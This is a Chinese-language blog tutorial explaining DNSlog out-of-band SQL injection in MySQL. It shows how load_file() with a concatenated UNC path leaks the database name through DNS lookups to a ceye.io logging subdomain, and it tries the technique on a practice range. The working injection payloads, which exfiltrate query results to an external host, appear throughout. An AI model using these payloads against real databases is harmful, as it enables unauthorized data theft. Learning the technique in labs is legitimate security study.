我以为我写过dns注入了,结果我心血来潮看看博客,发现我居然还没有写
那么我就写一下
什么是dns?
例子:我们去访问 www.baidu.com,这时候dns会吧 www.baidu.com 这个域名转换为 IP地址
Dns其实就是负责把域名转换为IP地址
如果还不懂的话点击 点击这里查看
Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的
注入结果
dnslog注入原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志
一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,这时候就可以尝试使用dnslog注入
然后我们这边还用到 load_file()
函数
就是读取文件,然后返回的内容为字符串
我们先看下查询文件是怎么查的
dnslog注入
只不过乱码了,我也懒得去设置
这时候我们去构造一个我们注入的payload
select load_file(concat())
我们先大致的这样构造出来基本注入语句
concat的作用就是将字符串连接在一起
select load_file(concat('\\\\',(select database()),'pdxxx.ceye.io\\abc'))
然后我们把 concat() 里面的内容拿出来看
concat('\\\\',(select database()),'.pdxxx.ceye.io\\abc')
\\\\
其实是转义的意思,使用后就会变成 \\
然后逗号隔开,(select database()) 就是一个子查询
然后后面那里就是 0x03 演示的
\\
也是转义,这样就会变成一个 \
由于concat() 函数的原因,最终变成
select load_file(\\库名.pdxxx.ceye.io\asb)
你可能会问,为什么我是写汉语《库名》?
因为这边是 子查询,查询的就是库名,然后把库名拼接进去 就像 第三步那样,只不过 111 是我乱写的,但是ceye平台依然去记录这个请求
你也可能会问,为什么写 \asb,asb有什么特殊含义吗? 没有的,没有什么特殊含义,只是随便乱写的
数据库去访问root.pdxxx.ceye.io的服务器下的共享文件夹asb
然后ceye.io的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了root.pdxxx.ceye.io,然后在ceye这个平台上面显示出来了
这就差不多解释清楚了,这时候我们再构建一个注入语句
select load_file(concat('\\\\',(select database()),'.pdXXwo.ceye.io\\abc'))
我们先看一下是怎么查出库名的
然后看下,发现成功的查询出了库名,数据库也是存在这个库的,这时候我们再去靶场玩一玩
and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#
通过上面的构造,我们简单修改一下既可注入
就得到了库名,接下来和前面的 union注入一样
你可能会问这一次只跑出一个数据,万一很多张表呢?
然后其实你可以用 limit来的
写完感觉有点累,我中午午睡完后感觉头有点疼,实在受不了,晕乎